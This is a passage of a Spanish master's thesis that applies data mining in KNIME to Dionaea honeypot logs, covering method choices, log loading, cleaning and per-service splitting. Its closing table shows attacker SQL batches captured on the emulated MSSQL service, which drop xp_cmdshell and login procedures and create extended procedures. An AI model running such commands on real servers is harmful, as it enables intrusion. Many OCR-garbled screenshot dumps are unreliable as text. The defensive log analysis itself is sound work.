generamos una instancia ficticia, ahora buscamos de entre las
instancias reales la mas parecida, de esta manera extraemos n
instancias parecidas.

Por dltimo, en esta seccién, tocaremos la reduccion de la dimensionalidad,

esto puede sernos util por varios motivos:

Reducimos el tamafio de los datos a analizar ignorando los menos o
nada relevantes.

Puede mejorar el modelo final al estar centrado en las variables mas
importantes.

Facilita la comprension del modelo final.

Podemos utilizar algunas reglas para saber cuando debemos eliminar una

variable. Algunas de ellas son:

3.2.2

Eliminacion de (partes de) claves candidatas. Datos como nimeros
de registro, teléfonos y deméas son demasiado especificos y puede
dar lugar a dificultades a la hora de realizar tareas de clasificacion o
de regresion.

Eliminacion de atributos dependientes: Para eliminar la redundancia
ya que, en ocasiones varios datos pueden sacarse a partir de uno
solo (como suele pasar con los codigos postales, regiones y
ciudades, o las matriculas de coche). La idea es quedarse, por
ejemplo, con aquella variable con la que se pueden extraer el resto
de datos que consideramos redundante (en nuestro ejemplo el
codigo postal).

Mineria de datos

Definicién: Proceso de construcciéon de un modelo basado en los datos

recopilados que defina una descripcién de patrones y relaciones entre los

datos con los que poder realizar predicciones, dar una mejor comprension

de los datos, o explicar situaciones pasadas. A continuacion definiremos

algunas tareas (para definir el tipo de problema) y métodos (técnicas para

analizar)
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e Tipo de técnica de mineria de datos a usar:

o Usaremos técnicas descriptivas, pues nuestro objetivo consistira
en recoger la informacion de una serie de registros (posiblemente
diferentes entre si) y extraer patrones conclusiones a raiz de la
informacion de los mismos.

o Este tipo de técnicas incluyen el agrupamiento, las reglas de
asociacion (normal o secuencial), asi como las correlaciones.

o La aplicacion de cada modelo debe superar algunas fases:

» |dentificacidn objetiva: A partir de los datos iniciales se
aplican las reglas mas adecuadas para el tratamiento de los
MisMos.

» Estimacion: Célculo de los parametros del modelo elegido
para los datos.

» Diagnosis: Contraste de validez con el modelo estimado.

» Prediccion: Uso del modelo validado para predecir los
valores futuros de las variables.

e Técnica mas adecuada

o Tarea

= Agrupamiento: Aqui la idea es definir grupos, es decir,
averiguar una serie de valores similares en los ejemplos del
conjunto y reunirlos acorde a esos valores.

= Correlaciones y factorizaciones: Con estas técnicas
buscamos ver la relacion entre dos atributos. En este caso
podriamos utilizar modelos de regresion (técnica predictiva)
para ver esa dependencia. Son forzosamente
bidireccionales o no orientadas.

» Reglas de asociacion: Tiene una finalidad similar a las
correlaciones y factorizaciones, pero enfocada a atributos
nominales. A diferencia del tipo anterior las reglas de
asociacion si pueden ser orientadas. Existen varios tipos de
estas reglas:

e Secuenciales: las asociaciones ocurren en distintos
momentos del tiempo.

¢ Negativas: Permiten mas de dos valores por atributo.

e Multinivel

= Dependencias funcionales: Son muy parecidas a las reglas
de asociacién, pero considerando todos los valores de las
variables.

= Deteccion de valores e instancias anomalas: Se centra
encontrar ejemplos que sean poco frecuentes o0 poco
similares al resto.

o Métodos
En este apartado expandiremos las tareas o0 métodos para realizar

la mineria de datos ya presentados en el subapartado “Técnicas de
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mineria de datos”, pero en este caso nos centraremos en los que

pueden ser Utiles para nuestro problema.

= Técnicas bayesianas: Se usan para medir la probabilidad de
pertenencia a una clase usando probabilidades. (En nuestro
caso, la probabilidad del tipo de atague enfocado a un
determinado puerto, en el caso de ssh, un ataque de
diccionario, un gusano gque tenga abierto el puerto, etc).

= Técnicas basadas en conteos de frecuencias y tablas de
contingencias: Se basa en medir la relacion de dos (0 mas)
sucesos en funcion de con qué frecuencia se presentan
conjuntamente.

» Técnicas basadas en arboles de decision y sistemas de
aprendizaje de reglas. Se basan en sacar conclusiones a
partir de un conjunto de reglas. Podemos usarlas para
deducir en funcién de patrones de ataque ya conocidos.

= Técnicas relacionales, declarativas y estructurales. Nos
permiten  expresar modelos mediante lenguajes
declarativos, lo cual puede sernos de utilidad para utilizar
con el método anterior.

3.2.3 Evaluacion e interpretacion de los resultados obtenidos

e Criterios de evaluacion
Los criterios de evaluacion varian en funcién del tipo de tarea usada.

En esta subseccion describiremos cuales seran los criterios a priorizar
en funcién de la técnica.

o Modelos de agrupamiento: Para evaluar estos métodos podemos
seguir algunos de los siguientes criterios:
* En funcién de la verosimilitud, es decir, quedarse con la
hip6tesis que mas relacionada esté con los datos.
= Observar la distancia entre grupos véase, cuanta mas
distancia entre los grupos mejor es el modelo (por saber
identificar correctamente cada grupo).
= Aprender distintos modelos y luego compararlos. Si al hacer
la comparacién son similares es que las agrupaciones son
acertadas
o Reglas de asociacion: En este caso los modelos se evaltan acorde
a dos caracteristicas:
= Cobertura o soporte: numero de ejemplos donde se puede
aplicar el modelo.
» Confianza o precision: Porcentaje que el modelo concuerda
cuando se pone en practica.
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3.2.4 Difusion y utilizacion del nuevo conocimiento

e Se necesita
o Difusién
» Para facilitar la difusion del conocimiento extraido mediante
mineria de datos se recomienda el uso de un estandar
genérico para el intercambio de informacion. En caso de ser
necesario, en este trabajo se utilizara el estandar PMML
(Predictive Model Markup Language). Los motivos para
recomendar este sistema van desde el hecho de que se
base en XML hasta en el hecho de que multitud de
empresas relevantes como Microsoft u Oracle estén
usandola actualmente.
o Utilizacion e incorporacion
= Podemos usar el modelo extraido del proceso para:

1. Evaluar la amenaza actual, es decir, acorde a lo
gue sabemos hasta qué punto esta de acertado el
modelo extraido.

2. Si el primer punto resulta ser un éxito, quizas
podamos considerar utilizar este modelo en
procesos predictivos de cara a evitar dafios en
futuras situaciones similares.

3.3 Justificaciones de las herramientas

De la misma manera hemos barajado una serie de herramientas para la

ejecucion de nuestras tareas de mineria de datos:

e WEKA: Conjunto de algoritmos de aprendizaje enfocados a la
mineria de tipo predictivo. Dentro de WEKA se incluyen herramientas
para tareas como la preparacion, clasificacion, regresion u
agrupamiento (entre otras).

e RapidMiner: Herramienta de mineria de datos la cual permite
generar modelos tanto predictivos como descriptivos, ademas de la
visualizacion de los datos. Compatible con el lenguaje SQL. Ademas
es compatible con los algoritmos de WEKA.

e Knime: Herramienta analitica enfocada a la creacion de modelos
mediante un entorno visual. Destacable es la intuitividad de su
entorno grafico. También compatible con WEKA.

e MLC++: Libreria en C++ enfocada en Aprendizaje supervisado.

e XELOPES: Realmente es una libreria mas que una aplicaciéon (por
lo que de ser necesario podria implementarse en alguna
herramienta), aunque puede usarse de manera independiente. Esta
especializada en analizar enormes cantidades de datos.
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Finalmente, las herramientas evaluadas para su uso en este proyecto han

sido RapidMiner y Knime. Ambas tienen interfaces intuitivas y sirven a
propésitos similares. Se ha optado por escoger KNIME debido a que los
requisitos que necesita son inferiores a los de RapidMiner haciendo la
herramienta mas accesible y encasillando a RapidMiner a una herramienta

enfocada mas a un entorno de produccion.

3.4 Caso practico con Dionaea

3.4.1 Abstraccion del escenario
En esta fase, definiremos que tenemos intencion de buscar, de cara a

comparar lo encontrado con lo conocido y ver asi la certeza de nuestra

bldsqueda.

En nuestro caso vamos a buscar los siguientes ataques:

o Desbordamiento de buffer

o Los que estén orientados a los siguientes servicios: blackhole,
epmap, ftp, http, memcache, mirror, mqtt, mssql, mysql, pptp, sip,
smb, tftp, upnp.

Y para identificarlos tenemos, primero los logs de la propia
herramienta los cuales registran que servicios emulados estan siendo
atacados. Segundo, formacién previa sobre algunos ataques
informaticos lo que nos va a permitir identificar que suceden en los
registros.
3.4.2 Seleccion de datos

Para esta fase hemos decidido implementar los registros
directamente en la herramienta de KNIME. Para la insercion de los
datos de Dionaea, se ha optado por introducir directamente los datos.
Para ello se ha hecho uso del siguiente nodo:
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Reader

[ ]
Node 2

Nodo File Reader’1

En un inicio la tabla quedaria asi:

Settings | Flow Variables | Memory Policy |

Enter ASCII data file location: (press 'Enter’ to update preview)
Fle:/C: Users/Alejandro/Desktop/ALEX Trabajo/Universidad/Master %20en%20sec v || Browse.. | |,/

[ ] Preserve user settings for new location = Rescan

Basic Settings
[]read row IDs Column delimiter: | <none> w Advanced...
read column headers ignore spaces and tabs
[ ] Java-style comments Single line comment;
~Preview
Click column header to change column properties (* = name/type user settings)

Row ID E] [14022019 19:08:38] modules /home/cowrie/dionaea/src/modules. c:216-message: ne...
Row0 14022019 19:08:38] curl /home fcowrie/dionaea/modules fcurl fmodule.c:613-debug: curl_new
Rowl 14022019 19:08:38] curl home/cowrie/dionaea/modules/curl fmodule.c:658-nfo: curl versi...
Row2 14022019 19:08:38] incdent /home fcowrie/dionaea/src/inddent. c: 185-debug: ihandler_ne...
Row3 14022019 19:08:38] incident /home/cowrie/dionaea/src/incident. c: 187-debua: ihandler 0x...
Row4 14022019 19:08:38] inddent /home fcowrie/dionaea/srcfincident.c: 185-debua: ihandler_ne...
Rows5 14022019 19:08:38] incident /home fcowrie/dionaea/src/findident.c: 187-debug: ihandler 0x...
Rowé 14022019 19:08:38] modules fhome/cowrie/dionaea/src/modules. c: 216-message: new mo...
Row?7 14022019 19:08:38] python /home/cowrie /dionaea /modules fpython/module.c: 339-debua: ...
Rowsg 14022019 19:08:38] python /home /cowrie dionaea/modules fpython/module. c: 343-debug: ...

Nodo File Reader’2

El cual ha sido configurado de la siguiente manera:
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Settings | Fiow Variables | Memory Policy |

Enter ASCII data file location: (press 'Enter’ to update preview) N
fle:/C: Users/Alejandro/Desktop/ALEX Trabajo/Uriversidad/Master %20en%20ses v || Browse... | o' |

["] Preserve user settings for new location " Rescan

Basic Settings

[ ] read row IDs Column delimiter: <space> wv Advanced...

["] read column headers []ignore spaces and tabs

[[] Java-style comments Single line comment:
~Preview
Click column header to change column properties (* = name/type user settings)
RowID [[S]*Fecha [[§]*Hora |[S]*Tipo (8] Ruta
Row0 (14022019 19:08:38] modules /home [cowrie /dionaea/src/modules.c:216-mess A
Row1l (14022019 19:08:38] curl /home fcowrie/dionaea/modules/curl/module.c:6
Row2 (14022019 19:08:38] curl /home [cowrie /dionaea/modules /curl /module.c:6
Row3 (14022019 19:08:38] incident /home fcowrie/dionaea/src/incident.c: 185-debu
Row4 [14022019 19:08:38] incident /home /cowrie /dionaea/src/incident. c: 187-debu
Row5 (14022019 19:08:38] incident /home /cowrie/dionaea/src/fincdent.c: 185-debu¢
Rowé [14022019 19:08:38] incident /home /cowrie /dionaea/src/incident. c: 187-debuc
Row7 (14022019 19:08:38] modules /home [cowrie /dionaea/src/modules.c:216-mess
Row8 (14022019 19:08:38] python /home [cowrie /dionaea/modules fpython/module
Rowg (14022019 19:08:38] python /home /cowrie /dionaea/modules fpython/module
Row10 [14022019 19:08:38] python /home /cowrie /dionaea/modules fpython/module
Row1l (14022019 19:08:38] services /dionaea/services.py: 136-info:
Row12 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row13 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row14 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row15 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row16 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row17 (14022019 15:08:38] dionaea /dionaea/__init__.py:56-info:
Row18 [14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row19 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row20 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row21 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info:
Row22 (14022019 19:08:38] dionaea /dionaea/__init__.py:56-info: \’
N2 rs naLo 1n.00.001 ) - L 2 lemib Py
oK ’ Apply | Canced |||

Nodo File Reader’3

La division se ha hecho separando los espacios en blanco. Esto genera

un nimero enorme de columnas. En este primer paso podemos definir ya
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siguiente paso veremos cdmo solucionar este problema.

3.4.3

Aqui vamos a preparar los datos para facilitar su lectura. Como hemos
comentado antes, la division por espacios nos ha dejado un namero

inabarcable de columnas que por si solas no valen nada. Para arreglar este

Limpieza y procesamiento de los datos

problema vamos a realizar los siguientes pasos:

6.1.1.1.  Evaluar qué informacién poseen esas columnas.
Lo primero es echar un vistazo a la informacién que hay en ellas.
[[S]*col4 |[S]cals BEE B BEE E
)essage: new |module lib/dionaea/curl.so [0x17ceb20 fn 0x
,c:613... jcurl_new [2 ? ? ? ?
.c:658... curl |version 7.52.1 features:c-a... |protocols:di... |?
sbug:  lihandler_new |pattern dionaea.downlo... (b 0x76f722e4 |cb
sbug: |ihandler |0x 17f06f3 pattern dionaea.do... |cb 0x
sbug: fihandler_new |pattern dionaea.upload.... [cb 0x76f722e4 |cb
sbug: |ihandler |0x17f0800  |pattern dionaea.upl... (b 0x
)essage: [new Imodule lib/dionaea/pyth... [Ox17cfaa8 fn 0x
fule.c:... jnew |/fhome jcowri. ., |[0x179b210 ? ? ?
bule.c:... Python !Interpretef Jusr bin/python3.5|? ? ?
Hule.c:... running |sys.path.ins. ., [lib/dionaea/pyth. .. |default ? ?
Initializing services » ? ? ?
{Import module dionaea.blackhole |? ? ?
{Import module dionaea.cmd ? ? ?
{Import module dionaea.core ? ? ?
{Import module dionaea.echo ? ? ?
EImport module dionaea.emu ? ? ?
{Import module dionaea.emu_sc... |? ? ?
\Import Imodule dionaea.excention |? ? ?

Nodo 'File Reader' 4
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[S|Col261 |[§]Col262 |[S]Col263 |_§|Cd264 |Ec°lzes [8]col266

~

N[ [ [ [P [ [ [ [ [ [ [ [P~

LV VY VR ELVE EDVE ESVY VY EDVR EEV DV ELVY EDV TV TV ELV TV IV ETVE VR v
[ [ A e [ [ AR | | [ | [ | e | [ [ e | | e |
D) V) VR Ve EVE EVE VY ELVE IV VY ESVE VR VY IV VYV VY Ve D
o] £ VR By EVE By RV EOVE VR vy VY VR vy DV EVE EVE BNy EVE DV R
[IV] EV] EVE EVE BV BV EVY BV VY VY VY VR VY BV EVY EVE BV BV vy E

Nodo 'File Reader' 5

Como podemos observar, tenemos columnas con informacion
dispersada y otras carentes de informacion. Esto se debe a que
algunas de las lineas del registro tienen cadenas de caracteres muy
largas, las cuales han dado origen a tanta columna al dividirlas por
espacios en blanco. Cada una de esas interrogaciones es una

columna vacia.

6.1.1.2.  La solucion que se ha optado para conservar la informacion
es “pegar’ todas esas columnas en una, pues incluirian
informacion sobre las acciones registradas. Para ello hemos
usado este nodo:

olumn Combiner
» [i] »

[ ]
Node 10

Nodo 'Column Combiner' 1

Para unificar todas esas columnas sueltas.
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Settings ' Flow Variables | Memory Policy
Delimiter
(@) Quote Character _ [] Quote always
() Replace Delimiter by
Name of appended column | Informacion
®) Manual Selection () Wildcard/Regex Selection () Type Selection
r Exclude r Indude
Fiter Y Aite
|8 Fecha > BHEE ~
| S| Hora |S|coals
|§ Tipo S| Col6
» s
| S|Ruta |S|Cal7
|8 | Col8
< | 8| colg
| S| Col10
« | 8| Col11
|8 Cal12
S§|Col13 v
Len | malaa
() Enforce exdusion (@) Enforce indusion

Nodo 'Column Combiner' 2

Sin embargo, lo que realmente hace el nodo es crear una columna
adicional. Para quitarnos esta molestia no tenemos mas que filtrar

las columnas con el nodo ‘Column Filter’:

Column Filter
> it

o
Node 11

Nodo 'Column Filter' 1

Y seleccionar que columnas queremos mantener en nuestra tabla:
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Column Filter | Flow Variables | Memory Policy |
(®) Manual Selection () Wildcard/Regex Selection () Type Selection

- Excude - Incude

lY Fiter ‘ Y Aiter

'S[col4 A N |S[Fecha

S| cols | S |Hora

S| cols 1S | Tipo

S| col7 i‘ S |Ruta

S| Cols | § | Informacion

S| Colo <

S| Col10

S| col11

S o«

S| Col13 .

() Enforce exdusion (@) Enforce indusion

Nodo 'Column Filter' 2

Con todos estos cambios nos quedaria una tabla asi:

[14022019  |19:08:38]  |jincident fhome fcowrie /dionaeafsrc/inddent. c: 185-debug:
[14022019  |19:08:38]  |inddent fhome fcowrie dionaea fsrc/incident.c: 187-debug:
[14022019  |19:08:38]  |modules /home jcowrie/dionaea/src/modules. c: 216-message:
[14022013  [19:08:38]  |python /home fcowrie dionaea/modules/python/module.c:...
[14022013  [19:08:38]  |python /home cowrie/dionaea/modules/python/module.c:...
[14022019  |19:08:38]  |python /home fcowrie /dionaea /modules fpython/module.c:...
[14022019  |19:08:38]  [services [dionaea/services.py: 136-nfo:

[14022013  |19:08:38] dionaea /dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/__init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

[14022019  |19:08:38]  |dionaea [dionaea/_init__.py:56-info:

Nodo 'Column Filter' 3

Bastante mas entendible que las tablas anteriores.

Podemos eliminar tanta interrogacion afiadiendo el nodo ‘Missing Value
con el gue podemos sustituir el valor que saldra cuando no haya datos en
la tabla.
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|Missing Value |1

_’.?
88

>

Node 16

Nodo 'Missing Value' 1

datos

Fix Value v
String
Value
Nodo 'Missing Value' 2
Al sustituir el valor por nada las tablas se nos quedara asi:

WNS: 16303095 | Spec - Columns: 334 | Properties | Flow Variables| =
[S|Fecha  [[S]Hora  |[S]Tipo [s|Ruta | [S]col7  [[S]cos  [[S]cog |[S]colt0 |[§]cColtt
(14022019 [19:08:38]  |modules /home fcowrie/dionaeasrc/modules.c:216-messace: new module Ib/dionaca/cil.so [0x17ceb20  [fn 0x76f72514
(14022019 [19:08:38]  |aurl /home fcowrie /dionaea/modules/curl/module 5 13. .. curl_new ——_——
[14022019  |19:08:38]  feurl /home /cowrie/dionaea/modules/curljmodule %gﬁ%ﬁ‘éfcumo‘%@gfg e quegg'iqei featuresic-a... protocols:di...
[14022019  [19:08:38]  lincident /rme/mrie/dimaea/srcmddmt.c:msdi‘ié‘: Wiarider_new pattem dionaea,dowrlp... [cb 0x76f722e4 [ctx (ni)
[14022019  [19:08:38]  |incident /home fcowrie/dionaea/src/inddent.c: 187: & 5 |dionaea.do... (b 0x76f722e4  ctx (nil)
[14022019  |19:08:38] |incident /home cowrie /dionaea/src/incident.c: 185-debug:  |ihandler_new |pattern dionaea.upload.... cb 0x76f722e4  |ctx (nil)
(14022019  |19:08:38]  |incident home /cowrie/dionaea/src/fincident.c: 187-debug:  |ihandler 0x17f0800  fpattern dionaea.upl... |cb 0x76f722e4  [ctx (nil)
(14022019 (19:08:38]  |modules /home fcowrie /dionaea/src/modules.c:216-message: |new module lib/dionaea/pyth... 0x17cfaa8  |fn 0x75db8c60
[14022019  |19:08:38]  [python /home /cowrie /dionaea/modules/python/module.c:... jnew home/cowri... 0x178b210
[14022019  |19:08:38] python home fcowrie/di /modulesfpython/module.c:... [Python \Interpreter  |jusr fbin/python3.5
(14022019  |19:08:38]  |python home /cowrie/dionaea/modules/python/module.c:. .. [running sys.path.ins... [lb/dionaea/pyth. .. [default
(14022019  |19:08:38]  |services /dionaea/services.py: 136-nfo: Initializing services
(14022019  |19:08:38]  |dionaea /dionaea/__init__.py:56-info: Import module \dionaea.blackhole
[14022019  19:08:38] dionaea /dionaea/__init_.py:56-info: Import module {dionaea.cnd
[14022019  |19:08:38]  |dionaea /dionaea/__init__.py:56-info: Import module dionaea.core
[14022019  |19:08:38]  |dionaea [di /__init__.py:56-info: Import module dionaea.echo
[14022019  19:08:38]  |dionaea /dionaea/__init__.py:56-info: Import module dionaea.emu
[14022019  |19:08:38]  |dionaea /dionaea/__init__,py:56-info: Import module \dionaea.emu_sc...
Fiammmnin PP Ta . " e P o A 1 T -

Nodo 'Missing Value' 3

Pagina 62]131




Alejandro Cruz Fernandez De Moya

Extraccion de conocimiento en
registros de anomalias e
intrusiones mediante mineria de

datos
Y posteriormente asi:
‘ows: 16305048 Spec - Columns: 5 | Properties | Flow Variables
[s]Feha [[S]Hora  [[S]TRo  [[S]Ruta [§] Informadion
[14022019  [19:08:38]  |modules /home fcowrie /dionaeasrc/modules. c: 216-message: |new module lib/dionaeajcurl.so 0x17ceb20 fn Ox76f72514
[14022019  |19:08:38] icurl /home/cowrie/dionaea /modules/curl/module.c:613... [curl_new
[14022019  |19:08:38] icurl /home fcowrie /dionaea /modules fcurl fmodule.c:658... |curl version 7.52. 1 features:c-ares,idn,ipv6 Jargefile,ntim,spnego, ssl bz protocols:dict, file, ftp, ftps, gophe
[14022019  [19:08:38]  |inddent /home fcowrie/dionaeasrcfincdent.c: 185-debug:  |handler_new pattern dionaea.download.offer cb 0x76f722e4 ctx (ni)
[14022019  [19:08:38]  |inddent /home fcowrie/dionaea/srcfincdent.c: 187-debug: |handler 0x17f06f8 pattern dionaea.download.offer ch 0x76f722e4 ctx (ni)
[14022019  [19:08:38]  |inddent /home fcowrie/dionaea/srcfinddent.c: 185-debug:  |handler_new pattern dionaea.upload.request cb 0x76f722e4 chx (ni)
[14022019  |19:08:38] incident /home/cowrie/dionaea/srcfincdent.c: 187-debug: [handler 0x17f0800 pattern dionaea.upload.request cb 0x76f722e4 ctx (nil)
[14022019  |19:08:38]  modules /home /cowrie/dionaeasrc/modules.c: 216-message: |new module lib/dionaea/python.so 0x17cfaa8 fn 0x75db8c60
[14022019  [19:08:38]  |python /home fcowrie /dionaea /modulesfpython/module.c:... |new fhome jcowrie /dionaea fmodules/python/module.c 0x 178210
[14022019  |19:08:33]  |python /home/cowrie dionaea/modules/python/module.c:... |Python Interpreter fusr fbin/python3.5
[14022019  [19:08:38]  |python /home fcowrie /dionaea /modules fpython/module.c:. . [running sys.path.insert(0, 'ib/dionaea/python’) default
[14022019  [19:08:38]  |services /dionaea/services.py: 136-nfo: [nitializing services ...
[14022019  [19:08:38]  |dionaea /dionaea/_init__.py:56-nfo: [mport module dionaea.bladkhole
[14022019  [19:08:38]  |dionaea /dionaea/_init__.py:56-nfo: [mport module dionaea.cmd
[14022019  |19:08:38] dionaea /dionaea/_init__.py:56-info: Import module dionaea.core
[14022019  [19:08:38]  |dionaea /dionaea/_init__.py:56-nfo: Import module dionaea.echo
[14022019  [19:08:38]  |dionaea /dionaea/_init__.py:56-nfo: [mport module dionaea.emu
[14022019  |19:08:38] dionaea /dionaea/_init__.py:56-info: Import module dionaea.emu_saripts
ran?rmia 1008271 Ainnaas ldinnzaal it A BAdnfae Tmnart madile dinnses avrentinn

Nodo 'Missing Value' 4

Lo siguiente que vamos a hacer es limpiar las filas, a lo largo del uso de la

herramienta se han registrado una serie de errores. Esto podemos

arreglarlo de la siguiente manera

Puesto que el campo fecha aqui es un string, los errores se almacenaran

en su columna aunque no representen una fecha, esto puede verse en el

siguiente ejemplo:

114022019  |19:08:38] sip [dionaea/sip/__init__.py:571-debug: <dionaea.sip. SipSession object at 0x74c0180> __init__
[14022019 19:08:38] services /dionaeafservices.py:68-warning: Unable to start service
Traceback (most recent call last):

File "lb/dionaea/... line 66, in start

daemons = service.start(addr, iface =iface, config=srv.get("config”, {}))

File lib/dionaea/. .. ine 89, in start

daemon = SipSession(proto=proto, config=config)

File "lb/dionaea/... line 574, in __init__

self.config = SipConfig{config=config)

File "lib/dionaea/... ine 82, in __init__

self._conn = sqlite 3. connect(self .users)
sglite3.Oper... junable to open database file
[14022019 19:08:38] connection /home fcowrie fdionaeasrc/connection.c: 268-debug: |connection_bind con 0x 1a76c30 addr 127.0.0. 1 port 3306 iface lo
[14022019 19:08:38] util fhome fcowrie fdionaeasrcfutil.c: 204-debug: Key file does not have key 'listen.use_ipv4_mapped_ipv6' in group 'd
[14022019 19:08:38] connection /home fcowrie /dionaea/src/connection.c: 384-debug: |connection_listen con 0x1a76¢30 len 20

Nodo 'Missing Value' 5

Esto puede arreglarse filtrando todas las filas que no tengan un valor

numeérico o sin corchete (que es como se abre la fecha en los registros de

Dionaea).
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Para ello podemos hacer uso de algunos de los nodos de filtrado de filas.

Puesto que el formato de fecha esté en un tipo de variable muy moldeable,
y nuestro criterio pasa por especificar partes del mismo, nosotros haremos

uso del nodo ‘Rule-based Row Filter’ para definir nosotros el criterio:

_Rule-based
Row Filter

> -

_’

Node 23

Nodo 'Rule-based Row Filter' 1
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Rule Editor | Flow Variables | Memory Policy

datos

Column List Category Description
ROWID Al v
ROWINDEXY
ROWCOLNT Function
E Fecha 27 s
E Hora ) gm?
B Tipo =7
'S |Ruta 157
B Informadon 2 5=7?
? AND ?
2IN?
? LIKE ?
? MATCHES ?
?0R?
?XOR ?
FALSE
- MISSING ?
Flow Variable List AT 2 v
Emrne.workspace Expression
1 // enter ordered set of rules, e.g.:
2 // $double column name$ > 5.8 => FAL.
3 // $string column name$ LIKE "*blue*
4 // TRUE => TRUE
5 $Fecha%$ LIKE "[“:" =» TRUE

(@) Incdude TRUE matches

Nodo 'Rule-based Row Filter' 2

Si buscamos las filas donde nos salia el error, vemos que ahora esas filas

ya no estan (ademas se tarda menos en leer toda la tabla):

(14022019 19:08:38) |sip [dionaea/sip/_init_,py:571-debug: <dionaea.sip. SipSession object at 0x74c01f80> _init_
(14022019  |19:08:38]  (services |/dionaea/services.py:68-waming: Unable to start service
(14022019  |19:08:38]  |comnection |/home/cowrie/dionaea/src/connection, c: 268-debug: iconnection_bind con Ox 1a76¢30 addr 127.0.0.1port 3306 iface lo

Nodo 'Rule-based Row Filter' 3

En vista de que el registro de Dionaea tiene una gran cantidad de entradas

y de que la propia herramienta acumula registros de diversos servicios, el

siguiente paso a realizar va a ser dividir esos registros por servicios, de esa

manera, podemos discernir qué servicios han sido atacados y cuales no,

ademas de reducir el tiempo al analizar archivos menos pequefios.
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Los nodos que podemos usar en este caso son los siguientes:

2. Nominal Row Filter Value

Nominal Value
Row Filter

= »

Node 24

Nodo 'Nominal Value Row Filter' 1

3. Nominal Value Row Splitter

[Nominal Value
Row Splitter

>
rgp

Node 25

Nodo 'Nominal Value Row Splitter' 1

A grandes rasgos, ambas cumplen una funcién muy parecida. El primer
nodo, extrae la tabla acorde al criterio que elijamos, por ejemplo, la tabla
de un tipo concreto. El segundo nodo extrae dos, una con la informacién
elegida y otra tabla con la informacién restante. Ambas se configuran de

manera parecida:
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Selection | Flow Variables | Memory Policy
Select column:
Tipo
(@) Manual Selection () Wildcard/Regex Selection
r Bottom rTop
curl ~ > memcache
log
asn ifields »
pptp
emu
blackhole 4
pPcap
root «
magtt
scapy v
""""" Ind.
(") Enforce exdusion 0 Missing @) Enforce indusion
Values

oK Apply Cancel

Nodo ‘Nominal Value Row Splitter' 2

Finalmente decidimos quedarnos con la segunda de ellas. A continuacion
veremos el resultado de algunos de los nodos. En algunos vasos veremos
qgue como mucho solo se ha activado el médulo y en otros veremos que si
ha habido actividad.

Se ha realizado este paso por cada servicio que podia emular Dionaea. Y,
como hemos comentado se han obtenido dos tipos de resultados:

o Unos menos provechosos, puesto que solo hemos obtenido
informacion sobre su arranque pero nada de actividad.
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Table “default” - Rows: 52 | Spec - Columns: 5 | Properties | Flow Variables|
Row ID [S|Fecha  |[S]Hora (8] Tipo [S|Ruta (S| Informacion
Row300 [14022019 19:08:38] ftp /dionaea/ftp.py: 173-debug: |ftp test
Row453 [14022019 19:08:38] fip /(dionaea/ftp.py: 173-debug: |ftp test
Row631 [14022019 19:08:38] fip /(dionaea/ftp.py: 173-debug: |ftp test
Row788 [14022019 19:08:38] fip /dionaea/ftp.py: 173-debug: |ftp test
Row1590 [14022019 19:09:04] fip /(dionaea/ftp.py: 173-debug: |ftp test
Row1747 [14022019 19:09:04] fip /(dionaea/ftp.py: 173-debug: |ftp test
Row1925 [14022019  |19:09:04]  [fip /dionaea/ftp.py: 173-debug: |ftp test
Row2078 [14022019  |19:09:04] [ftp /dionaea/ftp.py: 173-debug: |fip test
Row2859 [14022019  |19:09:24]  |ftp /dionaea/ftp.py: 173-debug: |fp test
Row3012 [14022019 19:09:24] ftp /dionaea/ftp.py: 173-debug: |fip test
Row3190 [14022019 19:09:24] ftp J/dionaea/ftp.py: 173-debug: fip test
Row3347 [14022019 19:09:24] fip /dionaea/ftp.py: 173-debug: |ftp test
Row4128 [14022019 19:31:53] fip /dionaea/ftp.py: 173-debug: [ftp test
Row4281 [14022019 19:31:53] fip /dionaea/ftp.py: 173-debug: |fip test
Row4459 [14022019 19:31:53] ftp /dionaea/ftp.py: 173-debug: ftp test
Row4616 [14022019 19:31:53] fip /dionaea/ftp.py: 173-debug: [ftp test
Row5430 [18022019 10:41:40] ftp /dionaea/fip.py: 173-debug: |fip test
Row5583 [18022019 10:41:40] ftp /dionaea/ftp.py: 173-debug: ftp test

Nodo 'Nominal Value Row Splitter' 3

o Otros mas, ya que aqui tenemos actividad ajena al inicio del servicio,
es decir, hay algo que evaluar.

[S] Informacion

ISQL BATCH : b"exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL, 1 where 'a'="A" select 504,c.name,c.description, ¢
ISQL BATCH : b"exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL, 1 where 'a'="A’ select 504,c.name,c.description,
'SQL BATCH : b'SELECT @@VERSION '

'SQL BATCH : b'use master '

'SQL BATCH : b'Drop Procedure sp_addextendedproc’

ISQL BATCH : b'Drop Procedure sp_addlogin'yinDrop Procedure sp_droplogin'y \nDrop Procedure sp_addsrvrolemember *

ISQL BATCH : b areate procedure sp_addextendedproc @functname nvarchar(517), @dliname varchar(255) as set implicit_transactions off if @@trancoL
[SQL BATCH : b'Drop Procedure xp_cmdshell\r\nDrop Procedure sp_OAMethody\nDrop Procedure sp_OACreatey \nDrop Procedure sp_OASetPropertyly
